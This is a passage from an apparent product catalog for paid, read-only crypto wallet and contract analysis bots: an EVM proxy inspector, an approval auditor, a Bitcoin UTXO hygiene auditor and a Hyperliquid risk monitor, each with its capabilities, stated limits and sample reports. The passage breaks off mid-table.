MISSING_IMMUTABLE_WEBSITE: 'website' link was omitted from the token metadata and is null on /coins-v3/Gpmbh4PoQnL1kNgpMYDED3iv4fczcr7d3qNBLf8rpump; must be compensated on mutable surfaces (creator bio, coin banner, pinned creator Callout, DexScreener/GeckoTerminal profile). [MEDIUM ] CREATOR_BANNER_MISSING: Creator profile @wattcoin has header_image_url=null; upload a header image in profile settings. [MEDIUM ] DEXSCREENER_PAIR_DO ``` --- ## Wave 3 - evm-contract-inspector ($29 in SOL, one-time; LIVE NOW, instant on-chain SOL checkout) - **SKU:** `evm-contract-inspector` - **Page:** https://coinloader.com/bots/evm-contract-inspector.html - **Skills:** `evm-contract-inspector-setup`, `evm-contract-inspector` - **Summary:** Read-only EVM smart contract and proxy upgradeability inspector for Grok Bot ($29 SOL). Resolves EIP-1967, EIP-1822, EIP-1167 and ZeppelinOS proxy slots, Safe multisig and Timelock controllers, Sourcify v2 source verification, and dangerous opcodes across Ethereum, Base, and Arbitrum. - **Capabilities:** - Batched JSON-RPC slot resolution across `Ethereum (`eth`, 1)`, `Base (`base`, 8453)`, and `Arbitrum One (`arb`, 42161)`: EIP-1967 (`implementation`, `admin`, `beacon`), EIP-1822 UUPS, ZeppelinOS legacy (`0x7050c9e0...` / `0x10d6a54a...`), and EIP-1167 minimal proxy clones. - Governance & controller chain probing (`--deep`, `--max-depth 2`): classifies Safe multisigs (`getThreshold()` / `getOwners()`), Timelocks (`getMinDelay()` / `delay()`), ProxyAdmin contracts, or single-key EOAs (`EOA_ADMIN`). - Source verification via `Sourcify v2` (`fields=abi,proxyResolution,compilation`) with Blockscout v2 fallback, plus CBOR-stripped opcode scanning that skips `PUSH1..PUSH32` immediate bytes before flagging `SELFDESTRUCT` (`0xff`) or unexpected `DELEGATECALL` (`0xf4`). - Stateful delta monitor (`--state PATH --delta`): emits `EVENT` / `NEW` / `CHANGED` / `RESOLVED` diffs whenever an implementation address, proxy admin, Safe threshold, or timelock delay changes. 100% Python stdlib, 55 unit tests. - **Boundaries:** - Strictly read-only: never asks for private keys or seed phrases, and never builds, signs, or broadcasts transactions. - Never labels a contract 'safe', 'audited', or 'rug-proof'; an EOA admin is not proof of weak custody (HSM/MPC keys look identical on-chain). - Opcode scans are byte-level heuristics, not formal verification or a substitute for a source audit. ### Verbatim sample output ```text snapshot 2026-10-27 07:52:48 UTC | tool=evm-contract-inspector endpoints https://ethereum-rpc.publicnode.com target eth:0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48 bytecode 2186 bytes keccak=0xd80d4b7c890cb9d6a4893e6b52bc34b56b25335cb13716e0d1d31383e6b41505 proxy ZeppelinOS legacy impl 0x43506849d7c04f9138d1a2050bbf3a0c054402dd (23464 bytes, verified=yes) admin 0x807a96288a1a408dbc13de2b1d087d10356395d2 [EOA] impl.own 0xfcb19e6a322b27c06842a71e8c725399f049ae3a [EOA] sourcify verified (match) name=FiatTokenProxy opcodes target: SELFDESTRUCT=no DELEGATECALL=yes | impl: SELFDESTRUCT=no DELEGATECALL=yes target eth:0xc3d688b66703497daa19211eedff47f25384cdc3 bytecode 1878 bytes keccak=0x64952234eab8f3aed74355c49119f627965640b1efeb6b28430b5a31b0d3b192 proxy EIP-1967 impl 0x63e749153baf1838f63ca22c275370bd2b1ceb15 (18599 bytes, verified=yes) admin 0x1ec63b5883c3481134fd50d5daebc83ecd2e8779 [contract] -> owner 0x6d903f6003cca6255d85cca4d3b5e5146dc33925 [Timelock delay=172800s] sourcify verified (exact_match) name=TransparentUpgradeableProxy opcodes target: SELFDESTRUCT=no DELEGATECALL=yes | impl: SELFDESTRUCT=no DELEGATECALL=yes findings [HIGH ] EOA_ADMIN: impl_owner 0xfcb19e6a322b27c06842a71e8c725399f049ae3a is a single EOA: one key controls upgrades/administration (custody such as HSM/MPC is not visible on-chain) [HIGH ] EOA_ADMIN: proxy_admin 0x807a96288a1a408dbc13de2b1d087d10356395d2 is a single EOA: one key controls upgrades/administration (custody such as HSM/MPC is not visible on-chain) [MEDIUM ] IMPL_HAS_DELEGATECALL: implementation 0x43506849d7c04f9138d1a2050bbf3a0c054402dd contains DELEGATECALL (heuristic) [MEDIUM ] IMPL_HAS_DELEGATECALL: implementation 0x63e749153baf1838f63ca22c275370bd2b1ceb15 contains DELEGATECALL (heuristic) [INFO ] PROXY_DELEGATECALL: DELEGATECALL in proxy code (expected for a proxy) [INFO ] PROXY_DELEGATECALL: DELEGATECALL in proxy code (expected for a proxy) [INFO ] TIMELOCK_ADMIN: proxy_admin.owner 0x6d903f6003cca6255d85cca4d3b5e5146dc33925 is a timelock with 172800 s delay exit_code 2 SCOPE_NOTE: Read-only on-chain and public-API inspection. No private keys, seed phrases or signing; no transaction is built or broadcast. Findings are heuristics with stated evidence, not verdicts, and are not tax, legal or investment advice. An EOA admin is not proof of weak custody (HSM/MPC keys look identical on-chain). Opcode scans are byte-level heuristics. ``` --- ## Wave 3 - evm-approval-auditor ($19 in SOL, one-time; LIVE NOW, instant on-chain SOL checkout) - **SKU:** `evm-approval-auditor` - **Name:** EVM Wallet Approval & Permit2 Risk Auditor - **Page:** https://coinloader.com/bots/evm-approval-auditor.html - **Skills:** `evm-approval-auditor-setup`, `evm-approval-auditor` - **Runtime:** https://coinloader.com/runtime/evm_approval_auditor.py (SHA-256 `eab5dc79cb998a2ac39093748e6aba186f88a23e28f1155f807ade3a02eaa518`) + https://coinloader.com/runtime/bot_common.py (SHA-256 `d1941b61b95ca664e4c1286c3bf1918c00e976c2c1601199b19200257650e526`) - **Summary:** Read-only EVM wallet approval and Permit2 risk auditor for Grok Bot ($19 SOL). Reads live ERC-20 allowances and Permit2 sub-allowances across Ethereum, Base, and Arbitrum, classifies every spender (EOA, unverified, unlabeled, or curated), and prints exact approve(spender, 0) revoke and Permit2 lockdown call-data that you submit yourself. - **Capabilities:** - Live allowance reads across Ethereum (`eth`, 1), Base (`base`, 8453), and Arbitrum One (`arb`, 42161): ERC-20 `allowance(owner, spender)` plus Permit2 `allowance(owner, token, spender)` (amount, expiration, nonce) over curated stablecoins, WETH, WBTC and LSTs, Blockscout-discovered holdings, and bounded `eth_getLogs` Approval-event discovery (`--lookback-blocks`, default 20000). - Spender classification with balance-at-risk per pair: `EOA_SPENDER` and unverified unlabeled contracts (`UNVERIFIED_SPENDER`) are CRITICAL, unlimited allowances to unlabeled verified contracts (`UNKNOWN_VERIFIED_SPENDER`) are HIGH, unlimited allowances to curated spenders (Uniswap Permit2 & routers, 1inch, CoW Protocol, 0x, ParaSwap, Morpho Blue, Aave V3) are MEDIUM, plus `PERMIT2_ACTIVE_SUBALLOWANCE` / `PERMIT2_EXPIRED_SUBALLOWANCE`. - Non-custodial remediation call-data: exact `to` + `data` for `approve(spender, 0)` on each flagged token and a single batched Permit2 `lockdown((token, spender)[])` transaction, displayed for you to submit from your own wallet (Rabby, MetaMask, Safe, or hardware signer). - Stateful delta monitor (`--state PATH --delta`): emits `NEW_APPROVAL`, `ALLOWANCE_INCREASED`, and `APPROVAL_REVOKED` events between runs, with `--json` output and exit codes 0 clean / 1 MEDIUM / 2 HIGH / 3 CRITICAL / 10 bad input / 11 degraded sources. 1,181 lines stdlib Python, 87 passing unit tests. - **Boundaries:** - Strictly read-only (`eth_blockNumber`, `eth_call`, `eth_getCode`, `eth_getStorageAt`, `eth_getLogs`): never asks for private keys or seed phrases, and never signs, builds for submission, or broadcasts a transaction. - “No findings” never means “no approvals exist”: coverage is the stated tokens, spenders, and log window. NFT `setApprovalForAll` and unlisted tokens/spenders are outside v1 unless supplied with `--tokens` / `--spenders`. - An unlabeled spender is unknown, not malicious; refuses to scan third-party wallets for exploitation, rank wallets by balance, or build phishing/drainer lists. Not financial, legal, or tax advice. ### Verbatim sample output ```text snapshot 2026-10-27 08:34:01 UTC | tool=evm-approval-auditor endpoints https://ethereum-rpc.publicnode.com owner eth:0x88298912d3281d57ca6b3a685ee0243776f3444b coverage tokens=7 (blockscout 1, curated 6) spenders=12 (curated 11, user 1) erc20_pairs=84 permit2_pairs=7 logs full [26277876..26282875] 5000 block(s), 1 chunk(s) holdings blockscout ok (1 token(s)) approval USDC -> 0xb300000b72deaeb607a12d5f54773d1c19c7028d [unlabeled] allowance=UNLIMITED balance=0 at_risk=0 HIGH/REVOKE spender 0xb300000b72deaeb607a12d5f54773d1c19c7028d [unlabeled] contract 180B verified=yes owner eth:0xd8da6bf26964af9d7eed9e03e53415d37aa96045 coverage tokens=6 (curated 6) spenders=12 (curated 11, user 1) erc20_pairs=72 permit2_pairs=16 logs full [26277876..26282875] 5000 block(s), 1 chunk(s) holdings blockscout unavailable (The read operation timed out) approval DAI -> 0x000000000022d473030f116ddee9f6b43ac78ba3 [Uniswap Permit2 (canonical)] allowance=UNLIMITED balance=14.372082162212001768 at_risk=14.372082162212001768 MEDIUM/REDUCE approval DAI -> 0x68b3465833fb72a70ecdf485e0e4c7bd8665fc45 [Uniswap SwapRouter02] allowance=UNLIMITED balance=14.372082162212001768 at_risk=14.372082162212001768 MEDIUM/REDUCE approval DAI -> 0xc92e8bdf79f0507f65a392b0ab4667716bfe0110 [CoW Protocol GPv2VaultRelayer] allowance=UNLIMITED balance=14.372082162212001768 at_risk=14.372082162212001768 MEDIUM/REDUCE approval WETH -> 0xc92e8bdf79f0507f65a392b0ab4667716bfe0110 [CoW Protocol GPv2VaultRelayer] allowance=UNLIMITED balance=1.46652803708515807 at_risk=1.46652803708515807 MEDIUM/REDUCE approval USDT -> 0xc92e8bdf79f0507f65a392b0ab4667716bfe0110 [CoW Protocol GPv2VaultRelayer] allowance=UNLIMITED balance=291.368219 at_risk=291.368219 MEDIUM/REDUCE spender 0x000000000022d473030f116ddee9f6b43ac78ba3 [Uniswap Permit2 (canonical)] contract 9152B verified=yes spender 0x68b3465833fb72a70ecdf485e0e4c7bd8665fc45 [Uniswap SwapRouter02] contract 24497B verified=yes spender 0xc92e8bdf79f0507f65a392b0ab4667716bfe0110 [CoW Protocol GPv2VaultRelayer] contract 4590B verified=yes findings [HIGH ] UNKNOWN_VERIFIED_SPENDER: USDC allowance UNLIMITED to 0xb300000b72deaeb607a12d5f54773d1c19c7028d [unlabeled]; balance 0, at risk 0 USDC; unlabeled contract (180 bytes), source-verified as Diamond action=REVOKE to=0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48 approve(0xb300000b72deaeb607a12d5f54773d1c19c7028d, 0) data=0x095ea7b3000000000000000000000000b300000b72deaeb607a12d5f54773d1c19c7028d0000000000000000000000000000000000000000000000000000000000000000 [MEDIUM ] UNLIMITED_KNOWN_SPENDER: DAI allowance UNLIMITED to 0x000000000022d473030f116ddee9f6b43ac78ba3 [Uniswap Permit2 (canonical)]; balance 14.372082162212001768, at risk 14.372082162212001768 DAI; curated spender; consider an exact-amount approval instead of unlimited action=REDUCE to=0x6b175474e89094c44da98b954eedeac495271d0f approve(0x000000000022d473030f116ddee9f6b43ac78ba3, 0) data=0x095ea7b3000000000000000000000000000000000022d473030f116ddee9f6b43ac78ba30000000000000000000000000000000000000000000000000000000000000000 [MEDIUM ] UNLIMITED_KNOWN_SPENDER: DAI allowance UNLIMITED to 0x68b3465833fb72a70ecdf485e0e4c7bd8665fc45 [Uniswap SwapRouter02]; balance 14.372082162212001768, at risk 14.372082162212001768 DAI; curated spender; consider an exact-amount approval instead of unlimited action=REDUCE to=0x6b175474e89094c44da98b954eedeac495271d0f approve(0x68b3465833fb72a70ecdf485e0e4c7bd8665fc45, 0) data=0x095ea7b300000000000000000000000068b3465833fb72a70ecdf485e0e4c7bd8665fc450000000000000000000000000000000000000000000000000000000000000000 [MEDIUM ] UNLIMITED_KNOWN_SPENDER: DAI allowance UNLIMITED to 0xc92e8bdf79f0507f65a392b0ab4667716bfe0110 [CoW Protocol GPv2VaultRelayer]; balance 14.372082162212001768, at risk 14.372082162212001768 DAI; curated spender; consider an exact-amount approval instead of unlimited action=REDUCE to=0x6b175474e89094c44da98b954eedeac495271d0f approve(0xc92e8bdf79f0507f65a392b0ab4667716bfe0110, 0) data=0x095ea7b3000000000000000000000000c92e8bdf79f0507f65a392b0ab4667716bfe01100000000000000000000000000000000000000000000000000000000000000000 [MEDIUM ] UNLIMITED_KNOWN_SPENDER: WETH allowance UNLIMITED to 0xc92e8bdf79f0507f65a392b0ab4667716bfe0110 [CoW Protocol GPv2VaultRelayer]; balance 1.46652803708515807, at risk 1.46652803708515807 WETH; curated spender; consider an exact-amount approval instead of unlimited action=REDUCE to=0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2 approve(0xc92e8bdf79f0507f65a392b0ab4667716bfe0110, 0) data=0x095ea7b3000000000000000000000000c92e8bdf79f0507f65a392b0ab4667716bfe01100000000000000000000000000000000000000000000000000000000000000000 [MEDIUM ] UNLIMITED_KNOWN_SPENDER: USDT allowance UNLIMITED to 0xc92e8bdf79f0507f65a392b0ab4667716bfe0110 [CoW Protocol GPv2VaultRelayer]; balance 291.368219, at risk 291.368219 USDT; curated spender; consider an exact-amount approval instead of unlimited action=REDUCE to=0xdac17f958d2ee523a2206206994597c13d831ec7 approve(0xc92e8bdf79f0507f65a392b0ab4667716bfe0110, 0) data=0x095ea7b3000000000000000000000000c92e8bdf79f0507f65a392b0ab4667716bfe01100000000000000000000000000000000000000000000000000000000000000000 exit_code 2 SCOPE_NOTE: Read-only: only eth_blockNumber, eth_call, eth_getCode, eth_getStorageAt and eth_getLogs, plus public Sourcify/Blockscout lookups. Never asks for private keys or seed phrases; no signing, no transaction is built for or broadcast by the tool; revoke (approve(spender, 0)) and Permit2 lockdown call-data is displayed for the owner to submit themselves. Reports current allowance state for the tokens and spenders it checked and states its coverage window; "no findings" never means "no approvals exist" (NFT setApprovalForAll and unlisted tokens/spenders are outside v1 unless supplied). Spender labels come from a curated list and Sourcify/Blockscout; an unlabeled spender is unknown, not malicious. No financial, legal or tax advice. Refuses: scanning to target third-party wallets for exploitation, ranking wallets by balance, or building phishing/drainer lists. ``` --- ## Wave 3 - btc-utxo-hygiene ($19 in SOL, one-time; LIVE NOW, instant on-chain SOL checkout) - **SKU:** `btc-utxo-hygiene` - **Name:** Bitcoin Wallet & UTXO Privacy/Fee Hygiene Auditor - **Page:** https://coinloader.com/bots/btc-utxo-hygiene.html - **Skills:** `btc-utxo-hygiene-setup`, `btc-utxo-hygiene` - **Runtime:** https://coinloader.com/runtime/btc_utxo_hygiene.py (SHA-256 `e3b8d9be91fb2ae75d272fea248d484a2c4076fd472e40eaef73ea903257d5ee`) + https://coinloader.com/runtime/bot_common.py (SHA-256 `d1941b61b95ca664e4c1286c3bf1918c00e976c2c1601199b19200257650e526`) - **Summary:** Read-only Bitcoin wallet and UTXO privacy/fee hygiene auditor for Grok Bot ($19 SOL). Reads address stats, UTXO sets, recent transactions and fee estimates from public Mempool.space / Blockstream Esplora endpoints, flags address reuse, dusting, fragmentation, stranded UTXOs, Ordinals inscriptions and common-input-ownership exposure, and prints coin-control and consolidation commands that you run yourself. - **Capabilities:** - Validates Bitcoin mainnet addresses (Base58Check, Bech32, Bech32m) and reads address stats, the UTXO set, recent transactions, fee estimates and BTC/USD price from public Mempool.space with Blockstream Esplora fallback (or an `--offline` fixture). - UTXO hygiene: value buckets, `UTXO_FRAGMENTATION`, `STRANDED_UTXOS`, `LEGACY_SCRIPT_TYPE`, `DUSTING_ATTACK_SUSPECT`, and a creating-transaction witness scan that marks Ordinals-inscription UTXOs (`INSCRIPTION_PROTECTED`) so they are never swept. - Fee planning: consolidation plan and cost-vs-savings matrix for P2WPKH or P2TR outputs with break-even future fee rate and a `CONSOLIDATION_WINDOW_OPEN` signal. - Privacy exposure: `ADDRESS_REUSE`, `CIOH_COSPEND_EXPOSURE`, `CIOH_CROSS_ADDRESS_LINK`, `ROUND_NUMBER_CHANGE_LEAK`, `SCRIPT_TYPE_MISMATCH_CHANGE` and a 0-100 hygiene score. - Non-custodial coin control: `bitcoin-cli lockunspent` freeze commands, an unsigned-PSBT `bitcoin-cli sendall ... psbt=true` consolidation command and Sparrow / Electrum steps, displayed for you to run yourself. - Stateful delta monitor (`--state PATH --delta`): `NEW_DUST`, `UTXO_COUNT_CHANGED`, `CONSOLIDATION_WINDOW_OPEN` events, with `--format text|markdown|json` output and exit codes 0 clean / 1 MEDIUM / 2 HIGH / 3 CRITICAL / 10 bad input / 11 degraded sources. 1,242 lines stdlib Python, 157 passing unit tests. - **Boundaries:** - Strictly read-only (public Mempool.space / Blockstream Esplora GET endpoints): never accepts private keys, WIF, extended private keys, seed phrases or PSBTs, and never builds, signs or broadcasts a transaction. - Heuristics are probabilistic and cover only the transactions and small UTXOs the report states it checked; "no findings" never means "private" or "safe to sweep". - Refuses to target third-party wallets for exploitation or deanonymisation, rank wallets by balance, or build dust-attack target lists. Not financial, legal, or tax advice. ### Verbatim sample output ```text snapshot 2026-10-27 10:00:58 UTC | tool=btc-utxo-hygiene endpoints https://blockstream.info/api, https://mempool.space/api fallbacks https://mempool.space/api failed -> https://blockstream.info/api wallet 1 address(es) utxos=134 (confirmed 134 / unconfirmed 0) total=44,408,175 sats (0.44408175 BTC, $35,340.47) hygiene_score=45/100 address 12cbQLTFMXRnSzktFkuoG3eHoMeFtpTu3S P2PKH utxos=134 balance=44,408,175 funded_txo=134 spent_txo=0 tx_count=131 score=45 fees fastestFee=2 halfHourFee=1 hourFee=1 economyFee=1 minimumFee=1 sat/vB (mempool.space) | blockstream 504-block floor=0.113 bucket <=546 (hard dust / inscription-suspect) count= 26 sum= 13,651 bucket 547-1,000 (sub-1k micro) count= 29 sum= 21,587 bucket 1,001-5,000 count= 18 sum= 29,863 bucket 5,001-100,000 count= 54 sum= 1,483,555 bucket >100,000 count= 7 sum= 42,859,519 stranded (strict: value <= input_vB*rate; conservative: x3 margin) fastestFee 2 sat/vB strict= 1 (1 sats) conservative= 46 (26,327 sats) halfHourFee 1 sat/vB strict= 1 (1 sats) conservative= 1 (1 sats) hourFee 1 sat/vB strict= 1 (1 sats) conservative= 1 (1 sats) economyFee 1 sat/vB strict= 1 (1 sats) conservative= 1 (1 sats) minimumFee 1 sat/vB strict= 1 (1 sats) conservative= 1 (1 sats) ref 5 5 sat/vB strict= 44 (24,677 sats) conservative= 72 (62,521 sats) ref 10 10 sat/vB strict= 58 (39,139 sats) conservative= 73 (65,101 sats) ref 20 20 sat/vB strict= 73 (65,101 sats) conservative= 81 (112,673 sats) ref 50 50 sat/vB strict= 81 (112,673 sats) conservative= 95 (284,500 sats) ref 100 100 sat/vB strict= 93 (245,591 sats) conservative= 116 (772,545 sats) scan creating-tx witness check on 60 txid(s) (UTXOs <= 10,000 sats, cap 60): envelope_hits=10 lookup_failures=0 unchecked=24 plan consolidate 55 UTXO(s) -> P2WPKH in 1 tx(s) at 1 sat/vB (economyFee): 8181.0 vB, fee 8,181 sats ($6.51), out 44,238,971 sats; protected/left untouched=79; break-even future rate=1.01 sat/vB [WINDOW OPEN] matrix P2WPKH @ fastestFee 2 sat/vB n= 55 vB= 8181.0 fee= 16,362 sats ($13.02) net@50=387,238 net@100=790,838 matrix P2WPKH @ economyFee 1 sat/vB n= 55 vB= 8181.0 fee= 8,181 sats ($6.51) net@50=395,419 net@100=799,019 matrix P2WPKH @ window 1 1 sat/vB n= 55 vB= 8181.0 fee= 8,181 sats ($6.51) net@50=395,419 net@100=799,019 matrix P2WPKH @ window 5 5 sat/vB n= 47 vB= 6997.0 fee= 34,985 sats ($27.84) net@50=309,415 net@100=653,815 matrix P2WPKH @ window 10 10 sat/vB n= 47 vB= 6997.0 fee= 69,970 sats ($55.68) net@50=274,430 net@100=618,830 matrix P2WPKH @ window 20 20 sat/vB n= 47 vB= 6997.0 fee= 139,940 sats ($111.37) net@50=204,460 net@100=548,860 matrix P2TR @ fastestFee 2 sat/vB n= 55 vB= 8193.0 fee= 16,386 sats ($13.04) net@50=387,739 net@100=791,864 matrix P2TR @ economyFee 1 sat/vB n= 55 vB= 8193.0 fee= 8,193 sats ($6.52) net@50=395,932 net@100=800,057 matrix P2TR @ window 1 1 sat/vB n= 55 vB= 8193.0 fee= 8,193 sats ($6.52) net@50=395,932 net@100=800,057 matrix P2TR @ window 5 5 sat/vB n= 47 vB= 7009.0 fee= 35,045 sats ($27.89) net@50=309,880 net@100=654,805 matrix P2TR @ window 10 10 sat/vB n= 47 vB= 7009.0 fee= 70,090 sats ($55.78) net@50=274,835 net@100=619,760 matrix P2TR @ window 20 20 sat/vB n= 47 vB= 7009.0 fee= 140,180 sats ($111.56) net@50=204,745 net@100=549,670 privacy 12cbQLTFMXRnSzktFkuoG3eHoMeFtpTu3S spend_txs=0 co_addresses=0 cospend_txs=0 round_change_txs=0 script_mismatch_txs=0 coinctl freeze=79 consolidate=55 leave=0 (use --format markdown for copy-paste commands) findings [CRITICAL] ADDRESS_REUSE: 12cbQLTFMXRnSzktFkuoG3eHoMeFtpTu3S received 134 separate outputs (funded_txo=134, spent_txo=0): every receipt and spend is publicly linked to one address [MEDIUM ] DUSTING_ATTACK_SUSPECT: 45 tiny unsolicited UTXO(s) (<= 1000 sats) sit beside a 44408175-sat wallet on 12cbQLTFMXRnSzktFkuoG3eHoMeFtpTu3S: freeze / do-not-spend them in Sparrow, Electrum or Bitcoin Core so they cannot link your main UTXOs [MEDIUM ] UTXO_FRAGMENTATION: 12cbQLTFMXRnSzktFkuoG3eHoMeFtpTu3S holds 134 UTXOs (44408175 sats): spending them costs far more than one consolidated input [LOW ] INSCRIPTION_CHECK_INCOMPLETE: 24 small UTXO(s) on 12cbQLTFMXRnSzktFkuoG3eHoMeFtpTu3S could not be checked for inscriptions (lookup failed or --max-lookups reached): excluded from consolidation [LOW ] LEGACY_SCRIPT_TYPE: 12cbQLTFMXRnSzktFkuoG3eHoMeFtpTu3S is legacy P2PKH: each input costs 148 vB vs 68 vB for P2WPKH and 57.5 vB for P2TR [LOW ] STRANDED_UTXOS: 12cbQLTFMXRnSzktFkuoG3eHoMeFtpTu3S has 1 UTXO(s) (1 sats) that cost more than their value to spend at 1.0 sat/vB (1 at the conservative 3x margin) [INFO ] CONSOLIDATION_WINDOW_OPEN: fees are low (1.0 sat/vB <= 3.0): consolidating 55 UTXO(s) costs 8181 sats and breaks even above 1.01 sat/vB [INFO ] INSCRIPTION_PROTECTED: 10 UTXO(s) on 12cbQLTFMXRnSzktFkuoG3eHoMeFtpTu3S carry an Ordinals envelope in their creating tx: excluded from consolidation, do not spend from a regular wallet exit_code 3 SCOPE_NOTE: Strictly read-only: only public Mempool.space / Blockstream Esplora REST GET endpoints (address stats, UTXO set, recent transactions, fee estimates, prices) or an --offline fixture. Never accepts or asks for private keys, WIF, xprv/yprv/zprv, seed phrases or PSBTs; no transaction is built, signed or broadcast by the tool; coin-control commands are displayed for the owner to run in their own wallet. Heuristics (CIOH, change detection, dusting, inscription envelopes) are probabilistic, cover only the recent transactions and small UTXOs it states it checked, and "no findings" never means "private" or "safe to sweep". P3... addresses are assumed to be nested SegWit (P2SH-P2WPKH). No financial, legal or tax advice. Refuses: targeting third-party wallets for exploitation or deanonymisation, ranking wallets by balance, or building dust-attack target lists. ``` --- ## Wave 3 - hyperliquid-monitor ($29 in SOL, one-time; LIVE NOW, instant on-chain SOL checkout) - **SKU:** `hyperliquid-monitor` - **Name:** Hyperliquid Perps, Funding & Liquidation Risk Monitor - **Page:** https://coinloader.com/bots/hyperliquid-monitor.html - **Skills:** `hyperliquid-monitor-setup`, `hyperliquid-monitor` - **Runtime:** https://coinloader.com/runtime/hyperliquid_monitor.py (SHA-256 `d9b8b58b9be66617177c238b195c3393ec817dfc591366797fa30f582db7f952`, 1,312 lines stdlib Python, 252 unit tests) + https://coinloader.com/runtime/bot_common.py (SHA-256 `d1941b61b95ca664e4c1286c3bf1918c00e976c2c1601199b19200257650e526`) - **Summary:** Read-only Hyperliquid perpetuals, funding rate APR, mark-oracle basis, HLP/vault exposure, and liquidation-distance risk monitor for Grok Bot ($29 SOL). Queries unauthenticated `POST https://api.hyperliquid.xyz/info` with zero private keys or signing. - **Capabilities:** - Wallet & subaccount perp + HIP-1 spot risk audit (`--wallet 0x...`): `clearinghouseState`, `spotClearinghouseState`, and `frontendOpenOrders` for margin utilization (`accountValue`, `totalMarginUsed`, `withdrawable`), per-position liquidation price distance % (`CRITICAL` `<5%`, `HIGH` `<10%`, `MEDIUM` `<20%`), effective leverage, single-position concentration, adverse funding bleed (daily USD carry), and missing `reduceOnly` stop-loss (`UNPROTECTED_POSITION_NO_SL`) or non-reduce-only stop flip risk (`NON_REDUCE_ONLY_STOP`). - Market-wide funding, open interest & cross-venue arbitrage scanner (`--markets`, `--coins BTC,ETH,SOL,HYPE`, `--top N`): joins `metaAndAssetCtxs` with `predictedFundings` (`HlPerp`, `BinPerp`, `BybitPerp`, normalized by each venue's `fundingIntervalHours`) to report 1h/8h/annualized APR, mark-vs-oracle basis (bps), 24h volume/OI turnover, and cross-venue divergence or funding sign flips. - Vault & HLP posture inspection (`--vault 0x...` or `--hlp`): inspects `vaultDetails` + parent and child sub-vault `clearinghouseState` (including HLP's 7 child sub-vaults and 354+ open positions) for APR, TVL, leader skin-in-the-game, peak-to-current drawdown, and top open positions. - Stateful delta monitor (`--state PATH --delta`): tracks `LIQ_DISTANCE_TIGHTENED`, `MARGIN_UTIL_SPIKE`, `POSITION_OPENED`, `POSITION_CLOSED`, `POSITION_FLIPPED`, `POSITION_SIZE_CHANGED`, `FUNDING_REGIME_SHIFT`, and `BASIS_DISLOCATED` events, with `--format text|markdown|json` and exit codes 0/1/2/3/10/11. - **Boundaries:** - Strictly read-only (`POST https://api.hyperliquid.xyz/info`): never calls `/exchange`, never signs or places orders, and immediately refuses private keys, seed phrases, WIF/xprv, or API tokens with exit code 10 (`EXIT_USAGE`). - Liquidation prices are point-in-time clearinghouse estimates that shift with mark price, funding payments, and cross-margin PnL. No financial, trading, or leverage advice. ### Verbatim sample output ```markdown # Hyperliquid Perps, Funding & Liquidation Risk Monitor ``` snapshot 2026-10-27 22:13:13 UTC | tool=hyperliquid-monitor endpoints POST https://api.hyperliquid.xyz/info ``` ## Market scan (requested coins) 179 live perp markets; total open interest $11,532,157,112; 24h notional volume $3,751,436,856 | coin | mark | oracle | 24h | funding 1h | 8h | APR | basis bps | mid bps | OI USD | 24h vol | vol/OI | Binance pred. | Bybit pred. | |---|---|---|---|---|---|---|---|---|---|---|---|---|---| | *BTC | 80,902.00 | 80,914.10 | +1.18% | +0.0013% | +0.0100% | +10.9% | -1.5 | -1.1 | $3,526,187,168 | $1,761,205,615 | 0.50 | +8.1% (+0.0074%/8h) | +10.9% (+0.0100%/8h) | | *ETH | 2,349.80 | 2,350.40 | +1.79% | +0.0013% | +0.0100% | +10.9% | -2.6 | -2.3 | $2,654,411,991 | $729,821,177 | 0.27 | +7.2% (+0.0066%/8h) | +10.9% (+0.0100%/8h) | | *SOL | 101.27 | 101.31 | +0.94% | +0.0013% | +0.0100% | +10.9% | -3.8 | -3.3 | $565,406,751 | $93,835,822 | 0.17 | +10.9% (+0.0100%/8h) | +9.4% (+0.0086%/8h) | | *HYPE | 81.0390 | 81.0520 | +4.53% | +0.0013% | +0.0100% | +10.9% | -1.6 | -0.7 | $1,678,914,753 | $312,484,121 | 0.19 | n/a | n/a | Funding extremes (OI >= $1,000,000): | coin | APR | funding 1h | basis bps | OI USD | |---|---|---|---|---| | REZ | -336.6% | -0.0384% | -50.1 | $1,921,547 | | ALT | -199.6% | -0.0228% | -30.7 | $1,145,723 | | BERA | -85.3% | -0.0097% | -25.9 | $1,441,150 | | NIL | -78.1% | -0.0089% | -24.2 | $3,083,068 | | XMR | +46.7% | +0.0053% | +13.5 | $115,404,536 | Predicted funding is per venue interval (Hyperliquid 1h, Binance / Bybit usually 4h or 8h) and annualised as rate / interval_hours * 8760. ## Vault Hyperliquidity Provider (HLP) | field | value | |---|---| | address | 0xdfc24b077bc1425ad1dea75bcb6f8158e10df303 | | leader | 0x677d831aef5328190852e24f13c46cac05f984e7 | | type | protocol vault (parent of 7 child sub-vaults) | | APR | 3.78% | | TVL (vault + children account value) | $73,621,846.03 | | total notional | $7,760,734.93 | | open positions | 354 | | maxDistributable | $34,470,450.99 | | maxWithdrawable | $0.00 | | leader fraction | 0.208% | | leader commission | 0.00% | | allowDeposits / isClosed | True / False | | followers (as returned) | 100 | | month peak-to-current drawdown | 4.82% (peak $183,094,728, now $174,265,597, pnl $603,602) | | allTime peak-to-current drawdown | 71.14% (peak $603,904,920, now $174,265,597, pnl $138,941,176) | Drawdown is measured on account value and includes deposits / withdrawals. | account | role | account value | notional | margin util | leverage | positions | |---|---|---|---|---|---|---| | 0xdfc24b077bc1425ad1dea75bcb6f8158e10df303 | vault | $34,470,929 | $0 | 0.00% | 0.00x | 0 | | 0x010461c14e146ac35fe42271bdc1134ee31c703a | child | $3,098,256 | $3,860,085 | 6.23% | 1.25x | 177 | | 0x2e3d94f0562703b25c83308a05046ddaf9a8dd14 | child | $999,999 | $0 | 0.00% | 0.00x | 0 | | 0x2ed5c4484ea3ff8b57d5f2fb152a40d9f2b68308 | child | $1,000,000 | $0 | 0.00% | 0.00x | 0 | | 0x31ca8395cf837de08b24da3f660e77761dfb974b | child | $3,051,662 | $3,900,650 | 6.39% | 1.28x | 177 | | 0x469f690213c467c39a23efacfd2816896009d7d8 | child | $1,000 | $0 | 0.00% | 0.00x | 0 | | 0x5e177e5e39c0f4e421f5865a6d8beed8d921cb70 | child | $1,000,000 | $0 | 0.00% | 0.00x | 0 | | 0xb0a55f13d22f66e6d495ac98113841b2326e9540 | child | $30,000,000 | $0 | 0.00% | 0.00x | 0 | Top 15 open positions by notional (of 354): | account | coin | side | size | notional | entry | mark | uPnL | ROE | leverage | eff.lev | liq px | liq 